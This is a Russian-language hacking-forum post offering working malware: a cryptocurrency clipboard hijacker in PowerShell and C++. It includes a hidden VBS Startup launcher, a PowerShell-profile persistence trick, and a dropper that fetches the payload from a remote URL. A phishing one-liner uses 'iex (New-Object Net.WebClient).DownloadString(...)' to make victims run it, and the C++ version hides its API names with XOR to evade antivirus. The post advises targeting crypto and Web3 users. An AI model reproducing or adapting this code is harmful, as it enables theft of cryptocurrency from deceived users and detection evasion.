Статья Написание вредоносного ПО для Windows: для развлечения и прибыли

Admin

Администратор

Написание вредоносного ПО для Windows: для развлечения и прибыли​


Такие средства защиты, как антивирусы (AV) и системы предотвращения угроз (EDR), становятся все более сложными, и обходить их с каждым обновлением становится все труднее. Они используют множество методов, в основном методы искусственного интеллекта и машинного обучения (AI/ML), а также анализ поведения для обнаружения угроз.

Я считаю, что лучший способ атаковать — это использовать собственные инструменты целевой системы против нее же. Именно это мы и попытаемся сделать в этой статье: мы напишем необнаруживаемый вредоносный код для перехвата содержимого буфера обмена (clipboard hijacker), используя PowerShell. Так что налейте себе чашечку кофе и наслаждайтесь

Я использую Windows 11 с последним обновлением для Защитника Windows (Windows Defender Security intelligence update).
1767982330001

Существует хорошо известная папка под названием «Автозагрузка» (Startup). Любое приложение, ярлык (lnk-файл), скрипт и т.д., помещенное в нее, автоматически запускается процессом explorer.exe после входа пользователя в систему. Это первая техника, о которой нужно знать.

Другая техника involves манипуляцию профилем PowerShell. Эта техника использовалась APT-группой Turla в качестве механизма персистентности, и ее работа зависит от конфигурации. Она полагается на то, что PowerShell запускается на машине, что по умолчанию не всегда происходит. Однако в корпоративных сетях сценарии входа и другие автоматизированные задачи часто используют PowerShell, что делает эту технику весьма привлекательной.

Когда PowerShell запускается, он использует специальные настройки конфигурации, называемые профилями. Они могут быть настроены для конкретного пользователя или для всей машины. Для пользовательского профиля необходимо создать файл profile.ps1 в определенной папке, которая должна называться WindowsPowerShell. Эта папка должна находиться в каталоге «Документы».

Сочетание этих методов обеспечит очень мощное и скрытное поддержание постоянного присутствия (персистенции) в операционной системе Windows.

В качестве лаунчера мы используем простой VBS-скрипт, так как мы хотим скрыть окно PowerShell во время выполнения. Если мы используем .lnk-файл, окно PowerShell всё равно появится, даже с аргументом -WindowStyle Hidden. Иногда простота — это высшая степень изощренности.

Код:
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
Скрипт в файле profile.ps1 будет содержать наш вредоносный код, который будет выполняться в фоновом режиме каждый раз, когда пользователь входит в систему.

Код:
Add-Type -AssemblyName System.Windows.Forms
$regexMap = @{
    "^8[1-9A-HJ-NP-Za-km-z]{94}$" = "Your XMR Address Here"
    "^T[1-9A-HJ-NP-Za-km-z]{33}$" = "Your TRX Address Here" 
    "^0x[a-fA-F0-9]{40}$" = "Your Eth Address Here"         
    "^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$" = "Your LTC Address Here"
    "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$" = "Your DASH Address Here"
    "(^|\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\W)" = "Your BTC Address Here" 
}
$mutex = New-Object System.Threading.Mutex($false, $mutexName)
if (-not $mutex.WaitOne(0, $false)) {
    exit 1
}
try {
    $lastClipboardText = ""
    while ($true) {
        try {
            $currentClipboard = [System.Windows.Forms.Clipboard]::GetText()
            if ($currentClipboard -and $currentClipboard -ne $lastClipboardText) {
                $lastClipboardText = $currentClipboard
                foreach ($pattern in $regexMap.Keys) {
                    if ($currentClipboard -match $pattern) {
                        $replacement = $regexMap[$pattern]
                        $newClipboard = $currentClipboard -replace $pattern, $replacement
                        [System.Windows.Forms.Clipboard]::SetText($newClipboard)
                        break
                    }
                }
            }
        }
        catch {}
        Start-Sleep -Milliseconds 500
    }
}
finally {
    $mutex.ReleaseMutex()
    $mutex.Close()
}
Теперь финальный этап этого метода — дроппер (`dropper.ps1`), который суммирует две упомянутые выше техники, чтобы подготовить всё для достижения нашего результата.

Код:
$documentsPath = [Environment]::GetFolderPath("MyDocuments")
$folderPath = Join-Path $documentsPath "windowspowershell"
$scriptUrl = "Your Remote profile.ps1 Script URL Here"
$destinationScript = Join-Path $folderPath "profile.ps1"
if (-not (Test-Path -Path $folderPath)) {
New-Item -ItemType Directory -Path $folderPath -Force | Out-Null
(Get-Item $folderPath).Attributes += 'Hidden'
}
for ($i = 0; $i -lt 3; $i++) {
try {
Invoke-WebRequest -Uri $scriptUrl -OutFile $destinationScript
break
} catch {
Start-Sleep -Seconds 3
}
}
$startupPath = [Environment]::GetFolderPath("Startup")
$destinationScript = Join-Path $startupPath "run.vbs"
$vbsScript = @"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe -ExecutionPolicy Bypass", 0, False
"@
Set-Content -Path $destinationScript -Value $vbsScript -Force

Как заразить наши цели? Одного универсального ответа на этот вопрос не существует — есть множество методов, и всё зависит от вашей креативности. Вы можете выбрать любой метод, который сочтёте нужным, при условии, что вы придумаете убедительную и привлекательную историю, которая заставит жертву взаимодействовать с вами и выполнить нужные вам действия. Например, мы можем использовать фишинговый метод Джона Хаммонда (Win + R), чтобы заставить жертву выполнить эту команду за нас.



Код:
powershell -Command "iex (New-Object Net.WebClient).DownloadString('your remote dropper.ps1 URL')"
Имей в виду, что ты должен обеспечить качественный трафик на свое вредоносное ПО, рекламные кампании должны быть нацелены только на людей, связанных с криптовалютами и Web3.
 

Admin

Администратор
C++ VScocde 2022
C++:
#include <windows.h>
#include <string>
#include <regex>
#include <fstream>


//XOR encryption key
const char* XOR_KEY = "gDoS056IW52GzSJwXixZ";
//All DLLs Names encoded with XOR
static const unsigned char KERNEL32_DLL_ENC[] = {
    0x0C, 0x21, 0x1D, 0x3D, 0x55, 0x59, 0x05, 0x7B, 0x79, 0x51, 0x5E, 0x2B
};
static const unsigned char USER32_DLL_ENC[] = {
    0x12, 0x37, 0x0A, 0x21, 0x03, 0x07, 0x18, 0x2D, 0x3B, 0x59
};
//All API Names encoded with XOR
static const unsigned char LOADLIBRARYA_ENC[] = {
    0x2B, 0x2B, 0x0E, 0x37, 0x7C, 0x5C, 0x54, 0x3B, 0x36, 0x47, 0x4B, 0x06
};

static const unsigned char OPENCLIPBOARD_ENC[] = {
    0x28, 0x34, 0x0A, 0x3D, 0x73, 0x59, 0x5F, 0x39, 0x35, 0x5A, 0x53, 0x35, 0x1E
};

static const unsigned char GETCLIPBOARDDATA_ENC[] = {
    0x20, 0x21, 0x1B, 0x10, 0x5C, 0x5C, 0x46, 0x2B, 0x38, 0x54, 0x40, 0x23, 0x3E, 0x32, 0x3E, 0x16
};

static const unsigned char CLOSECLIPBOARD_ENC[] = {
    0x24, 0x28, 0x00, 0x20, 0x55, 0x76, 0x5A, 0x20, 0x27, 0x57, 0x5D, 0x26, 0x08, 0x37
};

static const unsigned char GLOBALLOCK_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x7A, 0x26, 0x34, 0x5E
};

static const unsigned char GLOBALUNLOCK_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x63, 0x27, 0x3B, 0x5A, 0x51, 0x2C
};

static const unsigned char GLOBALALLOC_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x77, 0x25, 0x3B, 0x5A, 0x51
};

static const unsigned char GLOBALFREE_ENC[] = {
    0x20, 0x28, 0x00, 0x31, 0x51, 0x59, 0x70, 0x3B, 0x32, 0x50
};

static const unsigned char EMPTYCLIPBOARD_ENC[] = {
    0x22, 0x29, 0x1F, 0x27, 0x49, 0x76, 0x5A, 0x20, 0x27, 0x57, 0x5D, 0x26, 0x08, 0x37
};

static const unsigned char SETCLIPBOARDDATA_ENC[] = {
    0x34, 0x21, 0x1B, 0x10, 0x5C, 0x5C, 0x46, 0x2B, 0x38, 0x54, 0x40, 0x23, 0x3E, 0x32, 0x3E, 0x16
};



// Regex patterns for various cryptocurrency addresses
std::vector<std::pair<std::regex, std::string>> regexPatterns = {
    {std::regex("^8[1-9A-HJ-NP-Za-km-z]{94}$"), "Your XMR subaddress"},
    {std::regex("^4[0-9A-HJ-NP-Za-km-z]{94}$"), "Your XMR standard address"},
    {std::regex("^T[1-9A-HJ-NP-Za-km-z]{33}$"), "Your TRX address"},
    {std::regex("^0x[a-fA-F0-9]{40}$"), "Your ETH address"},
    {std::regex("^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$"), "Your Doge address"},
    {std::regex("^(bitcoincash:)?[qp][a-z0-9]{41}$"), "your bch address"},
    {std::regex("(^|\\W)(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}($|\\W)"), "Your BTC address"},
    {std::regex("^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$"), "Your LTC address"}
};

// Custom CustomGetProcAddress implementation
typedef FARPROC(WINAPI* pOpenClipboard)(HWND);
typedef HANDLE(WINAPI* pGetClipboardData)(UINT);
typedef BOOL(WINAPI* pCloseClipboard)();
typedef HGLOBAL(WINAPI* pGlobalLock)(HGLOBAL);
typedef BOOL(WINAPI* pGlobalUnlock)(HGLOBAL);
typedef HGLOBAL(WINAPI* pGlobalAlloc)(UINT, SIZE_T);
typedef HGLOBAL(WINAPI* pGlobalFree)(HGLOBAL);
typedef HANDLE(WINAPI* pEmptyClipboard)();
typedef HANDLE(WINAPI* pSetClipboardData)(UINT, HANDLE);
typedef HMODULE(WINAPI* pLoadLibraryA)(LPCSTR);

FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
    if (!hModule || !lpProcName) return NULL;

    BYTE* baseAddr = (BYTE*)hModule;
    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;

    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;

    IMAGE_DATA_DIRECTORY exportDirData = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (!exportDirData.VirtualAddress) return NULL;

    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDirData.VirtualAddress);

    DWORD* names = (DWORD*)(baseAddr + exportDir->AddressOfNames);
    WORD* ordinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
    DWORD* functions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);

    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
        char* name = (char*)(baseAddr + names[i]);
        if (_stricmp(name, lpProcName) == 0) {
            WORD ordinal = ordinals[i];
            DWORD funcRVA = functions[ordinal];
            FARPROC address = (FARPROC)(baseAddr + funcRVA);

            // Check if it's a forward export
            DWORD exportStart = exportDirData.VirtualAddress;
            DWORD exportEnd = exportStart + exportDirData.Size;
            if (funcRVA >= exportStart && funcRVA <= exportEnd) {
                // It's a forward export (e.g., "sechost.OpenProcessToken")
                char* forwardName = (char*)address;
                char dllName[256] = { 0 };
                char funcName[128] = { 0 };

                //sscanf(forwardName, "%[^.].%s", dllName, funcName);
                sscanf_s(forwardName, "%[^.].%s", dllName, funcName);
                strcat_s(dllName, sizeof(dllName), ".dll");

                HMODULE hFwd = LoadLibraryA(dllName);
                if (!hFwd) return NULL;

                return CustomGetProcAddress(hFwd, funcName);
            }

            return address;
        }
    }

    return NULL;
}

char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
{
    char* result = (char*)malloc(len + 1);
    if (!result) return NULL;
    for (size_t i = 0; i < len; i++) {
        result[i] = cipher[i] ^ key[i % key_len];
    }
    result[len] = '\0';
    return result;
}


int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdShow)
{
    //file for output message debugging
    std::ofstream logfile("logs.txt");
    // Dynamically load user32.dll
    std::string kernel32DllName = xor_decrypt_string(KERNEL32_DLL_ENC, sizeof(KERNEL32_DLL_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string user32DllName = xor_decrypt_string(USER32_DLL_ENC, sizeof(USER32_DLL_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string LoadLibraryAName = xor_decrypt_string(LOADLIBRARYA_ENC, sizeof(LOADLIBRARYA_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string OpenClipboardName = xor_decrypt_string(OPENCLIPBOARD_ENC, sizeof(OPENCLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GetClipboardDataName = xor_decrypt_string(GETCLIPBOARDDATA_ENC, sizeof(GETCLIPBOARDDATA_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string CloseClipboardName = xor_decrypt_string(CLOSECLIPBOARD_ENC, sizeof(CLOSECLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalLockName = xor_decrypt_string(GLOBALLOCK_ENC, sizeof(GLOBALLOCK_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalUnlockName = xor_decrypt_string(GLOBALUNLOCK_ENC, sizeof(GLOBALUNLOCK_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalAllocName = xor_decrypt_string(GLOBALALLOC_ENC, sizeof(GLOBALALLOC_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string GlobalFreeName = xor_decrypt_string(GLOBALFREE_ENC, sizeof(GLOBALFREE_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string EmptyClipboardName = xor_decrypt_string(EMPTYCLIPBOARD_ENC, sizeof(EMPTYCLIPBOARD_ENC), XOR_KEY, strlen(XOR_KEY));
    std::string SetClipboardDataName = xor_decrypt_string(SETCLIPBOARDDATA_ENC, sizeof(SETCLIPBOARDDATA_ENC), XOR_KEY, strlen(XOR_KEY));

    if (LoadLibraryAName.empty()) {
        logfile << "Failed to decrypt LoadLibraryA name" << std::endl;
        return 1; // Failed to decrypt LoadLibraryA name
    }
    pLoadLibraryA LoadLibraryA = (pLoadLibraryA)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()),  LoadLibraryAName.c_str());
    if (!LoadLibraryA) {
        logfile << "Failed to get LoadLibraryA address" << std::endl;
        return 1; // Failed to get LoadLibraryA address
    }
    HMODULE hUser32 = LoadLibraryA(user32DllName.c_str());
    if (!hUser32) {
        logfile << "Failed to load user32.dll" << std::endl;
        return 1; // Failed to load user32.dll
    }
    // Get function pointers
    pOpenClipboard openClipboard = (pOpenClipboard)CustomGetProcAddress(hUser32, OpenClipboardName.c_str());
    pGetClipboardData getClipboardData = (pGetClipboardData)CustomGetProcAddress(hUser32, GetClipboardDataName.c_str());
    pCloseClipboard closeClipboard = (pCloseClipboard)CustomGetProcAddress(hUser32, CloseClipboardName.c_str());
    pGlobalLock globalLock = (pGlobalLock)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalLockName.c_str());
    pGlobalUnlock globalUnlock = (pGlobalUnlock)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalUnlockName.c_str());
    pGlobalAlloc globalAlloc = (pGlobalAlloc)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalAllocName.c_str());
    pGlobalFree globalFree = (pGlobalFree)CustomGetProcAddress(GetModuleHandleA(kernel32DllName.c_str()), GlobalFreeName.c_str());
    pEmptyClipboard emptyClipboard = (pEmptyClipboard)CustomGetProcAddress(hUser32, EmptyClipboardName.c_str());
    pSetClipboardData setClipboardData = (pSetClipboardData)CustomGetProcAddress(hUser32, SetClipboardDataName.c_str());

    if (!openClipboard || !getClipboardData || !closeClipboard || !globalLock || !globalUnlock ||
        !GlobalAlloc || !GlobalFree || !EmptyClipboard || !SetClipboardData) {
        logfile << "Failed to get function addresses" << std::endl;
        return 1; // Failed to get function addresses
    }
    while (1) {
        if (!openClipboard(NULL)) {
            Sleep(250);
            continue;
        }
        HANDLE hData = getClipboardData(CF_TEXT);
        if (hData == NULL) {
            logfile << "Failed to get clipboard data." << std::endl;
            closeClipboard();
            logfile.close();
            continue;
        }
        char* pText = static_cast<char*>(globalLock(hData));
        if (pText == NULL) {
            logfile << "Failed to lock global memory." << std::endl;
            closeClipboard();
            logfile.close();
        }
        std::string text(pText);

        for (const auto& pair : regexPatterns) {
            std::string result = std::regex_replace(text, pair.first, pair.second);
            // If replacement occurred (text changed), we found a match
            if (result != text) {
                // Clear existing clipboard content
                emptyClipboard();
                // Allocate global memory for the text
                HGLOBAL hGlobal = globalAlloc(GMEM_MOVEABLE, pair.second.length() + 1);
                if (!hGlobal) {
                    closeClipboard();
                    logfile << "Cannot allocate memory" << std::endl;
                    return 1;
                }
                // Lock memory and copy text
                char* pGlobal = static_cast<char*>(globalLock(hGlobal));
                strcpy_s(pGlobal, pair.second.length() + 1, pair.second.c_str());
                globalUnlock(hGlobal);
                // Set clipboard data
                if (!setClipboardData(CF_TEXT, hGlobal)) {
                    globalFree(hGlobal);
                    closeClipboard();
                    logfile << "Cannot set clipboard data" << std::endl;
                    return 1;
                }
                break;
            }
        }
        globalUnlock(hData);
        closeClipboard();
        Sleep(333);
    }
    return 0;
}
 
Похожие темы
Traffpost На проверке Услуги Вконтакте - Написание и размещение уникальных комментариев Ищу работу. Предлагаю свои услуги. 1
Anorali Интересно Как поймать хацкера за попу или написание своего honeypot'а Полезные статьи 3
АнАлЬнАя ЧуПаКаБрА Написание статей B/C Готовый софт 0
Anorali Интересно Написание стиллера паролей от wifi Уязвимости и взлом 24
Y Написание уникального ПО/Формирование ботнет сети/Конкуренция в сети/Програмирование Ищу работу. Предлагаю свои услуги. 0
Little_Prince Написание проектов Private Keeper на платной/бесплатной основе. Готовый софт 1
G Написание ПО на заказ! Ищу работу. Предлагаю свои услуги. 6
Admin Интересно Злоумышленники используют платформу n8n для фишинга и распространения вредоносного ПО. Новости в сети 0
Admin Интересно Северокорейская группа APT37 использует социальную инженерию в Facebook для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Взлом сайта CPUID привёл к распространению вредоносного ПО через поддельные версии CPU-Z и HWMonitor. Новости в сети 0
Admin Интересно Злоумышленники взломали аккаунт npm библиотеки Axios для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Северокорейские хакеры используют VS Code для распространения вредоносного ПО. Новости в сети 0
Admin Интересно Microsoft предупреждает о фишинговых атаках с использованием вредоносного ПО. Новости в сети 0
Admin Интересно Атака GlassWorm использует украденные токены GitHub для внедрения вредоносного кода в репозитории Python. Новости в сети 0
Admin Интересно Хакеры используют ИИ для создания вредоносного ПО Slopoly. Новости в сети 0
Admin Интересно Группа APT28 проводит долгосрочный шпионаж против украинских военных с использованием вредоносного ПО. Новости в сети 0
Admin Интересно Пакистанские хакеры перешли на массовое производство вредоносного кода с помощью ИИ. Новости в сети 0
Admin Интересно Группировка Dust Specter атакует иракских чиновников с помощью нового вредоносного ПО. Новости в сети 0
Admin Интересно Microsoft предупреждает: злоумышленники используют Google для распространения вредоносного ПО. Новости в сети 0
Admin Интересно SloppyLemming атакует правительства Пакистана и Бангладеш с помощью двойных цепочек вредоносного ПО. Новости в сети 0
Support81 Операторы LockBit используют скрытую технику загрузки DLL для загрузки вредоносного приложения Новости в сети 0
Support81 Вирус-вымогатель Interlock использует метод FileFix для доставки вредоносного ПО Новости в сети 0
wrangler65 Изучение загрузчиков вредоносного ПО LNK: случайный анализ Вирусология 0
wrangler65 Создание незаметного вредоносного ПО Ч.2 Полезные статьи 0
wrangler65 Интересно Создание незаметного вредоносного ПО для Windows (C2-фреймворк Villain + обфускация PowerShell + недетектируемая доставка) Полезные статьи 0
Emilio_Gaviriya Инструменты для исследования вредоносного ПО. Вирусология 0
Support81 Хакеры злоупотребляют Binance Smart Chain для хранения вредоносного кода Новости в сети 0
Support81 Ностальгическая вспышка: USB-носители снова используются для распространения вредоносного софта Новости в сети 0
G Софт для выявления вредоносного ПО. Готовый софт 10
G Mobile Security Framework - Выявление вредоносного кода в приложениях Полезные статьи 0
G Maltrail - система обнаружения вредоносного трафика Полезные статьи 0
Admin Интересно Вредоносная версия WhatsApp использовалась для распространения шпионского ПО. Новости в сети 0
Admin Интересно ICE использует шпионское ПО для борьбы с фентанилом, вызывая опасения за приватность. Новости в сети 0
Admin Интересно WhatsApp предупредила пользователей о поддельной версии приложения со шпионским ПО. Новости в сети 0
Admin Интересно В России открыли новую специализацию по реверс-инжинирингу. Новости в сети 0
Admin Интересно Вебинар по реверс-инжинирингу промышленных систем от Positive Technologies. Новости в сети 0
Admin Интересно Иран пригрозил ударами по офисам американских компаний, включая Apple, Google и Tesla. Новости в сети 0
Admin Интересно Минцифры обсуждает меры по ограничению использования VPN в России. Новости в сети 0
Admin Интересно Хакеры взломали госорган в Азии и устроили там соревнование по шпионажу. Новости в сети 0
Admin Интересно Забытая идея 1961 года переписала учебники по биологии. Новости в сети 0
Admin Интересно Apple удалила прокси-клиенты из российского App Store по запросу Роскомнадзора. Новости в сети 0
Admin Интересно Дэвид Сакс покинул пост советника Белого дома по ИИ и присоединился к технологическому совету Трампа. Новости в сети 0
Admin Интересно Атака на GitHub Action от Checkmarx затронула десятки проектов по всему миру. Новости в сети 0
Admin Интересно Тотальный удар по энергосистемам Ближнего Востока. Новости в сети 0
Admin Интересно Kali Linux 2026.1 представила режим ностальгии по BackTrack 5. Новости в сети 0
Admin Интересно Вредоносное ПО GlassWorm использует блокчейн Solana для кражи данных. Новости в сети 0
Admin Интересно 5 ключевых выводов из первого руководства Gartner по Guardian Agents. Новости в сети 0
Admin Интересно Ваш сервер заговорил по-турецки и шлет эмодзи – первые признаки того, что все данные уже украли. Новости в сети 0
Admin Интересно Рынок кибербезопасности в России достиг 374 млрд руб. по итогам 2025 года. Новости в сети 0
Admin Интересно Москвичка прилетела во Владивосток, чтобы вскрыть чужой сейф по приказу «ФСБ». Теперь ей грозит срок. Новости в сети 0

Название темы